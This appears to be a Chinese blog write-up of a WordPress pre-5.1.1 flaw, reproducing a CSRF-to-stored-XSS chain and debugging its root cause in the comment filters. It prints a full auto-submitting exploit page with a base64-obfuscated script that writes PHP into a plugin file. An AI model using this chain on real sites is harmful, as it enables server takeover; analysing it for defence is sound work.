前言
就几天刚披露的一个wordpress5.1的漏洞,虽然漏洞有一定的利用条件,不过最后所能造成的危害还是比较大的。复现了一遍下来,感觉wordpress对于管理员的防备十分的薄弱,似乎是认为管理员就是服务器的拥有者的原因,所以wordpress后台getshell非常地容易。具体攻击思路是攻击者在自己的网站上放置一个CSRF攻击的HTML页面,让受害人访问,然后就会向wordpess的文章中插入一条带有恶意JS代码的评论(stored xss),因为使用的是a标签的缘故,所以还需要受害人将鼠标移动到评论的上方(这些都可以靠社工),然后触发XSS漏洞,攻击者可以修改插件或者主题的PHP代码,得到一个webshell。
危害版本
wordpress版本<5.1.1
利用条件
具有unfiltered_html权限的用户访问了攻击者编写的恶意页面,并触发了恶意评论中a标签的on事件。
修复
增加了对a标签属性的xss过滤。
如果nonce错误则与无unfiltered_html权限的用户接受相同的评论过滤。
环境搭建
漏洞复现
在自己的服务器上部署一个HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<div>
<form action="http://192.168.111.128:32770/wp-comments-post.php" name="form1" method="post">
<input type="hidden" name="comment" value="<a title='XSS" onmouseover=eval(atob("dmFyIHhtbGh0dHAgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTt2YXIgbm9uY2UgPSAiIjt4bWxodHRwLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGZ1bmN0aW9uKCkge2lmICg0ID09IHhtbGh0dHAucmVhZHlTdGF0ZSkge2lmICgyMDAgPT0geG1saHR0cC5zdGF0dXMpIHt2YXIgcmVzdWx0ID0geG1saHR0cC5yZXNwb25zZVRleHQ7bm9uY2UgPSByZXN1bHQubWF0Y2gobmV3IFJlZ0V4cChhdG9iKCJQR2x1Y0hWMElIUjVjR1U5SW1ocFpHUmxiaUlnYVdROUltNXZibU5sSWlCdVlXMWxQU0p1YjI1alpTSWdkbUZzZFdVOUlpZ3VLaWtpSUM4K1BHbHVjSFYwSUhSNWNHVTlJbWhwWkdSbGJpSWdibUZ0WlQwaVgzZHdYMmgwZEhCZmNtVm1aWEpsY2c9PSIpLCJnaSIpKTtub25jZSA9IFJlZ0V4cC4kMTt2YXIgeG1saHR0cDIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTt2YXIgZm9ybSA9IG5ldyBGb3JtRGF0YSgpO2Zvcm0uYXBwZW5kKCJub25jZSIsIG5vbmNlKTtmb3JtLmFwcGVuZCgiX3dwX2h0dHBfcmVmZXJlciIsICIvd3AtYWRtaW4vcGx1Z2luLWVkaXRvci5waHAiKTtmb3JtLmFwcGVuZCgibmV3Y29udGVudCIsICI8P3BocCBwaHBpbmZvKCk7Pz4iKTtmb3JtLmFwcGVuZCgiYWN0aW9uIiwgImVkaXQtdGhlbWUtcGx1Z2luLWZpbGUiKTtmb3JtLmFwcGVuZCgiZmlsZSIsICJoZWxsby5waHAiKTtmb3JtLmFwcGVuZCgicGx1Z2luIiwgImhlbGxvLnBocCIpO2Zvcm0uYXBwZW5kKCJkb2NzLWxpc3QiLCAiIik7eG1saHR0cDIub3BlbigiUE9TVCIsICIvd3AtYWRtaW4vYWRtaW4tYWpheC5waHAiKTt4bWxodHRwMi5zZW5kKGZvcm0pO319fTt4bWxodHRwLm9wZW4oIkdFVCIsICIvd3AtYWRtaW4vcGx1Z2luLWVkaXRvci5waHAiKTt4bWxodHRwLnNlbmQoKTs=")) id="' rel='Twings'>poc">
<input type="submit" name="submit" value="Post Comment">
<input type="hidden" name="comment_post_ID" value="1">
<input type="hidden" name="comment_parent" value="0">
<input type="hidden" name="_wp_unfiltered_html_comment" value="poc">
</form>
</div>
<script type="text/javascript">
setTimeout("document.getElementsByName('submit')[0].click();",10);
</script>
</body>
</html>
受害人登录wordpress之后访问这个HTML页面,就会向postID为1的文章中插入一条评论,之后将鼠标移到payload上方即可触发XSS漏洞,向默认插件写入一个webshell:
调试分析
我们先去数据库里看一波:
可以看到数据库里面存储的数据已经是可以执行的恶意payload(字段名为comment_content),所以漏洞的触发点在代码对评论插入时的处理上面,结合披露的文章,我们直接从评论函数入手,定位到comment.php的wp_handle_comment_submission函数,然后下断点调试,需要注意一下的是这里我是通过CSRF跳转来进入的,因为正常的流程wp_verify_nonce检验会通过:
这里很明显是设置过滤器的地方,我们进入函数看看:
可以看到这里根据用户权限添加了两种不同的过滤器,对于拥有unfiltered_html权限的用户添加的是wp_filter_post_kses过滤器,我们可以分别调用一下两个函数看一看他们有什么区别:
可以看到wp_filter_post_kses函数只是简单地转义一下引号,而wp_filter_kses基本把a标签的属性都给吃掉了。我们继续往下走从kses_init_filters函数出来。可以看到最后调用了get_comment函数,到这里已经将数据插入数据库并进行刷新了,所以我猜测漏洞出发点在上面的wp_new_comment函数,我们进去看一看,主要看wp_new_comment函数,在2071行附近:
可以看到代码调用了wp_filter_comment函数对评论进行了过滤,然后调用wp_insert_comment进行了入库,我们跟入wp_filter_comment函数,找到对评论内容comment_content的处理:
继续跟入apply_filters函数:
看到他又调用了WP_Hook的apply_filters,这个函数对payload做了很多处理,我们一直调试,最后来到formatting.php的wp_rel_nofollow函数,这个函数将payload中a标签的属性作为参数,调用了wp_rel_nofollow_callback函数:
可以看到在a标签有rel属性且不符合这样子的正则表达式的时候(IP端口不定):
%href=["'](http\://192\.168\.111\.128\:32770)%i
%href=["'](https\://192\.168\.111\.128\:32770)%i
会做这样的处理:
在没有任何过滤处理的情况,直接将属性的值用双引号括起,再跟键拼接在一起,这就导致了XSS漏洞。
参考文章: